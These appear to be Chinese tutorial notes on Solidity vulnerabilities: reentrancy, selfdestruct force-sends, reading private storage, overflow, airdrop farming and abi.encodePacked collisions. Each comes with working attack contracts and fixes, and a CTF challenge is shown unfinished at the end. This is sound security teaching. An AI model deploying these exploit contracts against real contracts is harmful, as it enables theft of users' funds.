1重入漏洞

最经典的故事:

为了让大家更好理解,这里给大家讲一个”黑客0xAA抢银行”的故事。

以太坊银行的柜员都是机器人(Robot),由智能合约控制。当正常用户(User)来银行取钱时,它的服务流程:

  1. 查询用户的 ETH 余额,如果大于 0,进行下一步。
  2. 将用户的 ETH 余额从银行转给用户,并询问用户是否收到。
  3. 将用户名下的余额更新为0

一天黑客 0xAA 来到了银行,这是他和机器人柜员的对话:

  • 0xAA : 我要取钱,1 ETH
  • Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?
  • 0xAA : 等等,我要取钱,1 ETH
  • Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?
  • 0xAA : 等等,我要取钱,1 ETH
  • Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?
  • 0xAA : 等等,我要取钱,1 ETH

最后,0xAA通过重入攻击的漏洞,把银行的资产搬空了,银行卒。

img

例子

银行合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract Bank {
mapping (address => uint256) public balanceOf; // 显示出该地址的余额
// 存入ether,并更新余额
//存款函数,讲ETH存入银行
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}

// 提取msg.sender的全部ether
//提款函数,
function withdraw() external {
uint256 balance = balanceOf[msg.sender]; // 获取余额
require(balance > 0, "Insufficient balance");
// 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// 更新余额
balanceOf[msg.sender] = 0;
}

// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}

攻击合约

重入攻击的一个攻击点就是合约转账ETH的地方,转账ETH地方地址如果是合约,会触发fallback(回退函数),从而造成循环调用的可能,

  • 构造函数: 初始化Bank合约地址。
  • receive(): 回调函数,在接收ETH时被触发,并再次调用Bank合约的withdraw()函数,循环提款。
  • attack():攻击函数,先Bank合约的deposit()函数存款,然后调用withdraw()发起第一次提款,之后Bank合约的withdraw()函数和攻击合约的receive()函数会循环调用,将Bank合约的ETH提空。
  • getBalance():获取攻击合约里的ETH余额。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
contract Attack {
Bank public bank; // Bank合约地址

// 初始化Bank合约地址
constructor(Bank _bank) {
bank = _bank;
}

// 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
receive() external payable {
if (bank.getBalance() >= 1 ether) {
bank.withdraw();
}
}

// 攻击函数,调用时 msg.value 设为 1 ether
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
bank.deposit{value: 1 ether}();
bank.withdraw();
}

// 获取本合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}

预防方法

检查-影响-交互模式(checks-effect-interaction)和重入锁。

检查-影响-交互模式

要求先检查状态变量是否符合要求,紧接着更新状态变量(余额),最后在和别的合约交互,讲bank合约和withdraw()函数中的更新余额提前转账到ETH之前,就可以修复漏洞。

重入锁

一种防止重入函数的修饰器,包含一个默认为0变量的状态变量_status,被被nonReentrant重入锁修饰的函数,在第一次调用时会检查 _status是否为零。紧接着将 _status的值改为1,调用结束再改为零。这样,当攻击合约在调用结束前第二次的调用就会报错,重入攻击失败。

uint256 private _status; // 重入锁

// 重入锁
modifier nonReentrant() {
// 在第一次调用 nonReentrant 时,_status 将是 0
require(_status == 0, “ReentrancyGuard: reentrant call”);
// 在此之后对 nonReentrant 的任何调用都将失败
_status = 1;
_;
// 调用结束,将 _status 恢复为0
_status = 0;
}

只需要用nonReentrant重入锁修饰withdraw()函数,就可以预防重入攻击了。

1
2
3
4
5
6
7
8
9
10
// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "Insufficient balance");

(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");

balanceOf[msg.sender] = 0;
}

2自毁函数(不可预期的ETH)

自毁函数由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”从而影响目标合约的正常功能(比如开发者使用 address(this).balance 来取合约中的代币余额就可能会被攻击)。今天我们就来看一个攻击者利用自毁函数的强制转账特性对智能合约发起攻击导目标合约瘫痪的案例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;


//一个简单的以太坊游戏,

contract EtherGame {

uint public targetAmount = 7 ether; //设置目标金额 7以太坊

address public winner; //定义一个获胜者



function deposit() public payable {

​ require(msg.value == 1 ether, "You can only send 1 Ether"); //确保每一个人打入的是一以太坊



​ uint balance = address(this).balance; //获取当前合约的以太坊多少

​ require(balance <= targetAmount, "Game is over"); //判断当前的以太坊数量是否满足目标量

​ //,如果满足或者超过游戏结束

​ //如果当前金额达到目标金额则当前参与者或者7eth

​ if (balance == targetAmount) {

​ winner = msg.sender;

​ }

}

//发放奖金的函数

function claimReward() public {

​ require(msg.sender == winner, "Not winner"); //检查时候有获胜者



​ (bool sent, ) = msg.sender.call{value: address(this).balance}(""); //将合约中的eth发送给获胜者

​ require(sent, "Failed to send Ether"); //检测send是否成功,如果失败回滚交易

}

}

合约解析

EtherGame 合约实现的功能是一个游戏,我们这里可以称它为“幸运七”。玩家每次向 EtherGame 合约中打入一个以太,第七个成功打入以太的玩家将成为 winner。winner 可以提取合约中的 7 个以太。

漏洞分析

玩家每次玩游戏时都会调用 EtherGame.deposit 函数向合约中先打入一个以太,随后函数会检查合约中的余额(balance)是否小于等于 7 ,只有合约中的余额小于等于 7 时才能继续否则将回滚。合约中的余额(balance)是通过 address(this).balance 取到的,这就意味着我们只要有办法在产生 winner 之前改变 EtherGame 合约中的余额让他等于 7 就会使该合约瘫痪。这样我们的攻击方向就明确了,只要我们强制给 EtherGame 合约打入一笔以太让该合约中的余额大于或等于 7 这样后面的玩家将无法通过 EtherGame.deposit 的检查,从而使 EtherGame 合约瘫痪,永远无法产生 winner。

但是 EtherGame.deposit 的函数存在验证,:require(msg.value == 1 ether, “You can only send 1 Ether”),这里要求我们每次只能打一个以太进去,所以想通过正常的路径打入多个以太坊是不可行的,

这就需要自毁函数(selfdestruct) 当合约执行自毁操作时,合约账户的余额就会发送个指定目标。

构建一个攻击合约,触发自毁函数,使攻击合约里的资金全部发送给EtherGame 这样就达到一次性发送多个以太坊,从而完成攻击。

攻击合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

import {EtherGame} from "./EtherGamer.sol";



contract Attack {

EtherGame etherGame; //声明一个状态变量



constructor(EtherGame _etherGame) {

​ etherGame = EtherGame(_etherGame); //构造函数接受合约地址并且将其储存在etherGame中

}



function attack() public payable {

​ address payable addr = payable(address(etherGame)); // 将etherGame合约的地址转换为可支付地址

​ selfdestruct(addr); //自毁函数,可以将当前合约所有的以太坊全部发送给EtherGame合约

}

}


引用具体例子了解

玩家一:Alice

玩家二:Bob

攻击者:Eve

\1. 开发者部署 EtherGame 合约;

\2. 玩家 Alice 决定玩游戏,她这辈子玩游戏从来没赢过,她觉得这个游戏可以让她体验一次当 winner 的快感,所以她决定连续调用 EtherGame.deposit 存入 7 个以太这样她就一定是 winner!正当她操作到第六次眼看还有一次今成功的时候,意外发生了(此时合约中已经有 Alice 存入的 6 个以太了);

\3. 攻击者 Eve 部署 Attack 合约并在构造函数中传入 EtherGame 合约的地址;

\4. 攻击者 Eve 调用 Attack.attack 并设置 msg.value = 1 ,函数触发 selfdestruct 将这 1 个以太强制打入 EtherGame 合约中。此时 EtherGame 合约中有 7 个以太(分别为 Alice 的六个以太和攻击者刚刚打入的 1 个以太);

\5. 这时玩家 Bob 也决定玩游戏,存入 1 个以太后合约中有 7+1=8 个以太,无法通过 require(balance <= targetAmount, “Game is over”) 的检查并回滚。到这里我们已经成功的使 EtherGame 合约瘫痪了,这个游戏将永远不会产生 winner,Alice 的 winner 梦也就此破灭了,6 个以太被永远的锁在了 EtherGame 合约中。哎,可怜的 Alice 。

下面是攻击流程图:

图片

修复建议

1)作为开发者

这里我们就拿上面的漏洞合约 EtherGame 来说,这个合约可以被攻击者攻击是因为依赖了 address(this).balance 来获取合约中的余额且这个值可以影响业务逻辑,所以我们这里可以设置一个变量 balance,只有玩家通过 EtherGame.deposit 成功向合约打入以太后 balance 才会增加。这样只要不是通过正常途径进来的以太都不会影响我们的 balance 了,避免强制转账导致的记账错误。下面是修复代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract EtherGame {
uint256 public targetAmount = 3 ether;
uint256 public balance;
address public winner;

function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
balance += msg.value;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) winner = msg.sender;
}

function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent,) = msg.sender.call{value: balance}("");
require(sent, "Failed to send Ether");
}
}

(2)作为审计者

作为审计者我们需要结合真实的业务逻辑来查看 address(this).balance 的使用是否会影响合约的正常逻辑,如果会影响那我们就可以初步认为这个合约存在被攻击者强制打入非预期的资金从而影响正常业务逻辑的可能(比如被 selfdestruct 攻击)。在审计过程中还需要结合实际的代码逻辑来进行分析。

3访问私有变量

其中访问私有变量一般分为俩种一种是访问静态变量一种是访问动态变量,其中静态变量一般是可以直接利用cast 指令直接读出来,但是有一些动态变量是没办法直接读出来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.18;

contract Vault {
//字符串,数组,映射,静态的变量
uint256 number;
uint256[] shengri;
mapping(address => uint256) balance;
mapping(address => uint256) balance2;
string xingming;

constructor() {
number = 2023054115;
xingming = "wangjianfengwangjianfeng";
shengri.push(2005);
shengri.push(1);
shengri.push(18);
balance[0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266] = 10000;
balance2[0x70997970C51812dc3A010C7d01b50e0d17dc79C8] = 10000;
}
}

利用forge create 在本地链直接部署上

image-20241013155345844

其中这个就是直接查看槽0的变量,可以直接查看到学号

对于动态数组和字符串

image-20241013155859084

直接利用cast读取会显现:

其中字符串是关于字符串的长度,对于动态数组是关于动态数组的个数。

如果想查看那么就需要chisel来解决

image-20241013160737820

我们无法直接cast storage 直接查看但是可以利用查看 槽四的哈希值直接查看,对于这个字符串它超过了31字节,所有我们仅仅查看四槽的哈希是不够的,所有我们只需要在查出的四槽哈希中添加1就行了,把俩段组合起来然后再利用cast 指令转换就可以到的我们字符串的东西了。

对于动态数组,也是按照这个步骤

image-20241013162157849

如果想要查看动态数组里面第几个数,我们可以直接在原有的哈希值加上

其中对于mapping我们如果直接查看他的storage是查不到的

image-20241013161201834

所以我们想要查看还是要利用chisel 来解决

image-20241013161702398

道理也是直接查找哈希值,但是想要查看mapping的格式是abi.encode(key,slot)

4溢出漏洞

算术溢出简称为溢出, 分为上溢和下溢,所谓上溢是指在运行单项数值计算时,当计算产生出来的结果非常大,大于寄存器或存储器所能存储或表示的能力限制就会产生上溢,例如在 solidity 中,uint8 所能表示的范围是 0 - 255 这 256 个数,当使用 uint8 类型在实际运算中计算 255 + 1 是会出现上溢的,这样计算出来的结果为 0 也就是 uint8 类型可表示的最小值。同样的,下溢就是当计算产生出来的结果非常小,小于寄存器或存储器所能存储或表示的能力限制就会产生下溢。例如在 Solidity 中,当使用 uint8 类型计算 0 - 1 时就会产生下溢,这样计算出来的值为 255 也就是 uint8 类型可表示的最大值。

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

//主要作用是允许用户存入以太币(Ether)并将其锁定一段时间,在锁定时间过期后才能提取存入的以太币

contract TimeLock {

mapping(address => uint256) public balances; //存储每个地址的以太坊余额

mapping(address => uint256) public lockTime; //存储每个地址的锁定到期时间

//允许用户存入以太币,并且锁定的到期时间为当前时间加一周。

function deposit() external payable {

​ balances[msg.sender] += msg.value;

​ lockTime[msg.sender] = block.timestamp + 1 weeks;

}

// 允许用户增加锁定的时间

function increaseLockTime(uint _secondsToIncrease) public {

​ lockTime[msg.sender] += _secondsToIncrease;

}

function withdraw() public {

​ require(balances[msg.sender] > 0, “Insufficient funds”);//要求账户有钱

​ require(

​ block.timestamp > lockTime[msg.sender],

​ “Lock time not expired”

​ );//判断是否已经在解锁的时间

​ uint amount = balances[msg.sender];//获取账户余额

​ balances[msg.sender] = 0;//将用户的账户余额设为0

​ //将以太坊发送给客户,并检查是否成功

​ (bool sent, ) = msg.sender.call{value: amount}(“”);

​ require(sent, “Failed to send Ether”);

}

}

漏洞分析

首先发下这个合约的increaseLockTime函数和deposit函数具有运算功能(合约是0.7.6向上兼容,所以在溢出的时候不会报错。

  1. deposit 函数存在两个运算操作,第一个是影响用户存入的余额 balances 的,这里传入的参数是可控的所以这里会有溢出的风险,另一个是影响用户的锁定时间 lockTime 的,但是这里的运算逻辑是每次调用 deposit 存入代币时会给 lockTime 增加一周,由于这里的参数不可控所以这个运算不会存在溢出风险。

  2. increaseLockTime 函数是根据用户传入的 _secondsToIncrease 参数来进行运算从而改变用户的存入代币的锁定时间的,由于这里的 _secondsToIncrease 参数是可控的,所以这里有溢出的风险。

综上所述,我们发现可利用的参数有两个,分别为 deposit 函数中的 balances 参数increaseLockTime 函数中的 _secondsToIncrease 参数

我们先来看 balances 参数,如果要让这个参数溢出我们需要有足够的资金存入才可以(需要 2^256 个代币存入才能导致 balances 溢出并归零),如果要利用这个溢出漏洞的话,我们把大量资金存入自己的账户并让自己的账户的 balances 溢出并归零从而清空自己的资产,我觉得在坐的各位没有人会这么做吧。所以这个参数可以认为在攻击者的角度是不可用的。

我们再看 _secondsToIncrease 参数,这个参数是我们调用 increaseLockTime 函数来增加存储时间时传入的,这个参数可以决定我们什么时候可以将自己存入并锁定的代币从合约中取出,我们可以看到这个参数在传入之后是直接与账户对应的锁定时间 lockTime 进行运算的,如果我们操纵 _secondsToIncrease 参数让他在与 lockTime 进行运算后得到的结果产生溢出并归零的话这样我们是不是就可以在存储日期到期前将自己账户中的余额取出了呢?

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {TimeLock} from "./TimeLock.sol";
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}

溢出漏洞的攻击合约具体思路:

使用 Attack 攻击合约先存入以太后利用合约的溢出漏洞在存储未到期的情况下提取我们在刚刚 TimeLock 合约中存入并锁定的以太:

1 部署TimeLock合约

2.部署攻击合约

  1. 调用 Attack.attack 函数,Attack.attack 又调用 TimeLock.deposit 函数向 TimeLock 合约中存入一个以太(此时这枚以太将被 TimeLock 锁定一周的时间),之后 Attack.attack 又调用 TimeLock.increaseLockTime 函数并传入 uint 类型可表示的最大值(2^256 - 1)加 1 再减去当前 TimeLock 合约中记录的锁定时间。此时 TimeLock.increaseLockTime 函数中的 lockTime 的计算结果为 2^256 这个值,在 uint256 类型中 2^256 这个数存在上溢所以计算结果为 2^256 = 0 此时我们刚刚存入 TimeLock 合约中的一个以太的锁定时间就变为 0 ;

  2. 这时 Attack.attack 再调用 TimeLock. withdraw 函数将成功通过 block.timestamp > lockTime[msg.sender] 这项检查让我们能够在存储时间未到期的情况下成功提前取出我们刚刚在 TimeLock 合约中存入并锁定的那个以太。

修复建议

(1)作为开发者

  1. 使用 SafeMath 来防止溢出;

  2. 使用 Solidity 0.8 及以上版本来开发合约并慎用 unchecked 因为在 unchecked 修饰的代码块里面是不会对参数进行溢出检查的;

  3. 需要慎用变量类型强制转换,例如将 uint256 类型的参数强转为 uint8 类型由于两种类型的取值范围不同也可能会导致溢出。

(2)作为审计者

  1. 首先查看合约版本是否在 Solidity 0.8 版本以下或者是否存在 unchecked 修饰的代码块,如果存在则优先检查参数的溢出可能并确定影响范围;

  2. 如果合约版本在 Solidity 0.8 版本以下则需要查看合约是否引用了 SafeMath;

  3. 如果使用了 SafeMath 我们需要注意合约中有没有强制类型转换,如果有的话则可能会存在溢出的风险;

  4. 如果没有使用 SafeMath 且合约中存在算术运算的我们就可以认为这个合约是可能存在溢出风险的,在实际审计中还要结合实际代码来看。

5整型溢出

漏洞合约例子

下面这个例子是一个简单的代币合约,参考了 Ethernaut 中的合约。它有 2 个状态变量:balances 记录了每个地址的余额,totalSupply 记录了代币总供给。

它有 3 个函数:

  • 构造函数:初始化代币总供给。
  • transfer():转账函数。
  • balanceOf():查询余额函数。

由于solidity 0.8.0 版本之后会自动检查整型溢出错误,溢出时会报错。如果我们要重现这种漏洞,需要使用 unchecked 关键字,在代码块中临时关掉溢出检查,就像我们在 transfer() 函数中做的那样。

这个例子中的漏洞就出现在transfer() 函数中,require(balances[msg.sender] - _value >= 0); 这个检查由于整型溢出,永远都会通过。因此用户可以无限转账。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

contract Token {
mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
unchecked{
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
}
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

预防办法

  1. Solidity 0.8.0 之前的版本,在合约中引用 Safemath 库,在整型溢出时报错。
  2. Solidity 0.8.0 之后的版本内置了 Safemath,因此几乎不存在这类问题。开发者有时会为了节省gas使用 unchecked 关键字在代码块中临时关闭整型溢出检测,这时要确保不存在整型溢出漏洞。

6薅羊毛漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.4.24;

contract skybank{

mapping(address => uint) public balances;
event sendflag(string base64email,string md5namectf);
bytes20 addr = bytes20(msg.sender);

function ObtainFlag(string base64email,string md5namectf){
require(balances[msg.sender] >= 1000000000);
emit sendflag(base64email,md5namectf);
}

function gether() public {
require(balances[msg.sender] == 0);
balances[msg.sender] += 10000000;
}


function Transfer(address to, uint bur) public {
require(bur == balances[msg.sender]);
balances[to] += bur;
balances[msg.sender] -= bur;
}
}
合约分析

先来看题目最终的判断函数ObtainFlag():

1
2
3
4
function ObtainFlag(string base64email,string md5namectf){
require(balances[msg.sender] >= 1000000000);
emit sendflag(base64email,md5namectf);
}

从该函数可以看出,obtainFlag()函数传入两个参数(base64email,md5namectf),函数第一行代码require(balances[msg.sender] >= 1000000000);会判断调用者地址余额是否大于等于1000000000 wei,如果满足该条件,则执行emit sendflag(base64email,md5namectf);代码,从题目可以得出,只要参赛者触发sendflag事件并将参数输出表示获取flag成功。

由于参赛者初始调用题目合约skybank时,调用地址在所属合约的资金为0,所以需要通过合约逻辑获取资金,继续来看获取空投函数gether():

1
2
3
4
function gether() public {
require(balances[msg.sender] == 0);
balances[msg.sender] += 10000000;
}

gether()函数中,第一句代码require(balances[msg.sender] == 0);判断当前调用者的地址是否为0,如果满足条件,则给该调用者加10000000 wei的资金,我们最终触发sendflag事件的ObtainFlag()函数中,需要1000000000 wei,所以只要调用gether超过100次就可以触发sendflag事件。

继续分析合约的转账函数Transfer():

1
2
3
4
5
function Transfer(address to, uint bur) public {
require(bur == balances[msg.sender]);
balances[to] += bur;
balances[msg.sender] -= bur;
}

Transfer()函数中,首先第一行代码require(bur == balances[msg.sender]);判断传入的参数bur和目前调用者地址的余额是否相等,如果条件满足,将该余额转至传入的地址to中,之后将调用者地址的余额减掉。这里非常重要的一点是:转账之后的调用者地址余额再次变为0,也就是说我们可以重复该函数进行转账。

解题思路

通过以上skybank题目合约分析,可以总结出两种解题思路:

第一种:

  • 通过A地址调用gether()函数获取空投
  • 调用Transfer()函数将A地址余额转至B地址
  • 重新使用A地址调用gether()函数获取空投,并将余额转至B地址(不断循环)
  • 使用B地址调用ObtainFlag()并触发事件

第二种:

  • 使用多个地址调用gether()获取空投
  • 将获取空投汇聚至固定地址
  • 通过该固定地址调用ObtainFlag()并触发事件

攻击演示

我们进行第一种解题思路的攻击演示,使用Remix+MetaMask对攻击合约进行部署调用

1. 自毁给题目合约转币

由于题目合约的初始状态没有ether,故我们通过自毁函数,强行将ether转入题目合约地址,虽然当前题目合约有一定资金。为了攻击完整性,也演示一次自毁。

构造自毁合约:

1
2
3
4
5
6
7
8
pragma solidity ^0.4.24;

contract burn {

function kill() public payable {
selfdestruct(address(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273));
}
}

部署burn合约,并利用kill()函数带入0.02Ether进行自毁,将Ether发送到题目合约地址。

自毁.png

2 使用A地址部署最终调用者attack2(合约地址D)

pragma solidity ^0.4.24;

interface skybankInterface {

1
function ObtainFlag(string base64email, string md5namectf);

}

contract attacker2 {

1
2
3
4
5
6
skybankInterface constant private target = skybankInterface(0xE6BEBc078Bf01C06D80b39E0bb654F70C7B0C273);

function exploit() {

target.ObtainFlag("zxc", "000");
}

}

部署成功

21.png

3.使用b地址部署获取空投的合约attac(合约E)

调用代码:Transfer传入的地址参数为D地址

pragma solidity ^0.4.24;

interface skybankInterface {
function gether() external;
function Transfer(address to, uint256 env) external;
}

contract attacker {

1
2
3
4
5
6
7
8
9
10
11
skybankInterface constant private target = skybankInterface(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273);

function exploit(uint256 len) public payable {

for(uint256 i=0; i<len; i++){

target.gether();
target.Transfer(0xB8EBd7aaD718F65e61c0fC8359Dc5f9B5b85b067,10000000);

}
}

}

部署成功32.png

调用exploit()33.png函数并传入参数101,获取101次空投

获取空投成功

34.png

4.使用A地址调用D合约的exploit()函数

通过获取到的ether调用exploit()函数触发题目合约的sendflag事件

41.png

成功触发事件

42.png

至此,攻击完成

7abi.encode和abi.encodePacked的区别

直接用一个例子解释

1
2
abi.encode("wang","jian") != abi.encode("wangj","ian")
abi.encodePacked("wang","jian") == abi.encodePacked("wangj","ian")

解释

  • abi.encode 会进行 32 字节对齐,每个参数都存储在单独的 32 字节(word)中。

  • "wang""jian" 会分别存储在不同的 32 字节位置,并且带有长度信息。

  • "wangj""ian" 也是独立存储的,最终编码结果完全不同,因此 不相等

  • abi.encodePacked 不会进行 32 字节对齐,而是紧密拼接所有参数的字节。

  • "wang" + "jian" 直接变成 "wangjian"

  • "wangj" + "ian" 也变成 "wangjian",所以最终的编码结果相同。

因此 相等

接下来直接用一个题来进一步的熟悉这个漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "./lib/ERC20.sol";

contract Pigeon {
address private owner;
uint256 private ownerBalance;
uint256 private juniorPromotion; //初级所需要的积分 // 8000000000000000000 (8ether)
uint256 private associatePromotion; //中级所需要的积分 //12000000000000000000 (12ether)

mapping(bytes32 => address) private seniorPigeon; //高级鸽子的地址
mapping(bytes32 => address) private associatePigeon; // 中级鸽子的地址
mapping(bytes32 => address) private juniorPigeon; // 初级鸽子的地址
mapping(address => bool) private isPigeon; //鸽子是否注册了
mapping(string => mapping(string => bool)) private codeToName; //判断是否被注册
mapping(bytes32 => uint256) private taskPoints; //每个鸽子的任务积分

mapping(address => mapping(address => uint256)) private dataCollection; //存储 某个地址 收集 另一个地址 的数据点数。

mapping(address => bool) private hasBeenCollected; //存储某个地址的数据是否已被收集(防止重复收集)。

mapping(bytes32 => uint256) private treasury; // 存储每个鸽子的资金

IERC20 public pigeonToken;

modifier onlyOwner() {
if (owner != msg.sender) revert();
_;
}

modifier oneOfUs() {
if (!isPigeon[msg.sender]) revert();
_;
}

constructor(address _pigeonToken) {
owner = msg.sender;
juniorPromotion = 8e18;
associatePromotion = 12e18;
pigeonToken = IERC20(_pigeonToken);
}
//成为鸽子

function becomeAPigeon(string memory code, string memory name) public returns (bytes32 codeName) {
codeName = keccak256(abi.encodePacked(code, name));

if (codeToName[code][name]) revert("code name chongfu");
if (isPigeon[msg.sender]) revert("yijingchengweigezi");

juniorPigeon[codeName] = msg.sender;
isPigeon[msg.sender] = true;
codeToName[code][name] = true;

return codeName;
}
// 记录鸽子完成任务的积分

function task(bytes32 codeName, address person, uint256 data) public oneOfUs {
if (person == address(0)) revert("0 address");
if (isPigeon[person]) revert("is Pigeon"); //如果是鸽子回滚
if (pigeonToken.balanceOf(person) != data) revert("is not right");

uint256 points = data;

hasBeenCollected[person] = true;
dataCollection[msg.sender][person] = points;
taskPoints[codeName] += points;
}
//带着token飞走

function flyAway(bytes32 codeName, uint256 rank) public oneOfUs {
uint256 bag = treasury[codeName];
treasury[codeName] = 0;
if (rank == 0) {
if (taskPoints[codeName] > juniorPromotion) revert(); //可以等级绕过

require(pigeonToken.transfer(juniorPigeon[codeName], bag), "Transfer failed.");
}
if (rank == 1) {
if (taskPoints[codeName] > associatePromotion) revert();

require(pigeonToken.transfer(associatePigeon[codeName], bag), "Transfer failed.");
}
if (rank == 2) {
require(pigeonToken.transfer(seniorPigeon[codeName], bag), "Transfer failed.");
}
}

//提升等级函数

function promotion(bytes32 codeName, uint256 desiredRank, string memory newCode, string memory newName)
public
oneOfUs
{
if (desiredRank == 1) {
if (msg.sender != juniorPigeon[codeName]) revert();
if (taskPoints[codeName] < juniorPromotion) revert("xiaoyu 8");
ownerBalance += treasury[codeName];

bytes32 newCodeName = keccak256(abi.encodePacked(newCode, newName));

if (codeToName[newCode][newName]) revert("chong fu");
associatePigeon[newCodeName] = msg.sender;
codeToName[newCode][newName] = true;
taskPoints[codeName] = 0;

delete juniorPigeon[codeName];

require(pigeonToken.transfer(owner, treasury[codeName]), "Transfer failed.");
}

if (desiredRank == 2) {
if (msg.sender != associatePigeon[codeName]) revert();
if (taskPoints[codeName] < associatePromotion) revert();
ownerBalance += treasury[codeName];

bytes32 newCodeName = keccak256(abi.encodePacked(newCode, newName));

if (codeToName[newCode][newName]) revert("chong fu");
seniorPigeon[newCodeName] = msg.sender;
codeToName[newCode][newName] = true;
taskPoints[codeName] = 0;
delete seniorPigeon[codeName]; //应当删除中级
require(pigeonToken.transfer(owner, treasury[codeName]), "Transfer failed.");
}
}
// 分配鸽子到指定的地址

function assignPigeon(string memory code, string memory name, address pigeon, uint256 rank, uint256 value)
external
onlyOwner
{
bytes32 codeName = keccak256(abi.encodePacked(code, name));

if (rank == 0) {
juniorPigeon[codeName] = pigeon;
pigeonToken.transferFrom(msg.sender, address(this), value);
treasury[codeName] = value;
juniorPigeon[codeName] = pigeon;
isPigeon[pigeon] = true;
codeToName[code][name] = true;
}

if (rank == 1) {
associatePigeon[codeName] = pigeon;
pigeonToken.transferFrom(msg.sender, address(this), value);
treasury[codeName] = value;
associatePigeon[codeName] = pigeon;
isPigeon[pigeon] = true;
codeToName[code][name] = true;
}

if (rank == 2) {
seniorPigeon[codeName] = pigeon;
pigeonToken.transferFrom(msg.sender, address(this), value);
treasury[codeName] = value;
seniorPigeon[codeName] = pigeon;
isPigeon[pigeon] = true;
codeToName[code][name] = true;
}
}
// 提取鸽子钱财

function exit() public onlyOwner {
require(pigeonToken.transfer(owner, ownerBalance), "Transfer failed.");
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Pigeon} from "./Pigeon.sol";
import {PigeonToken} from "./PigeonToken.sol";

contract Setup { //本地地址:0x5FbDB2315678afecb367f032d93F642f64180aa3
Pigeon public pigeon; //0x40a2c4445c7f5f4e4c7c7d2827db05b3238c0d49
PigeonToken public token; //0x36e29f14570ccc94a0f4cf0f325c644e9af5cc8b
bool isAirdrop;
bool solved;

constructor() {
token = new PigeonToken("PigeonToken", "PNK", address(this));
pigeon = new Pigeon(address(token));

token.approve(address(pigeon), 30e18);
// Junior Pigeons
pigeon.assignPigeon("Numbuh", "6", address(0x006), 0, 0); //0x364f98c531ea17218ff9dda330f09255297b6406571ed44903382c6f328b6824
pigeon.assignPigeon("Numbuh", "5", address(0x005), 0, 5e18);
// 0x57736ab320740b0130b3b7eb68b9bfe7e656bf5bdde03903ac9930ab830e48df

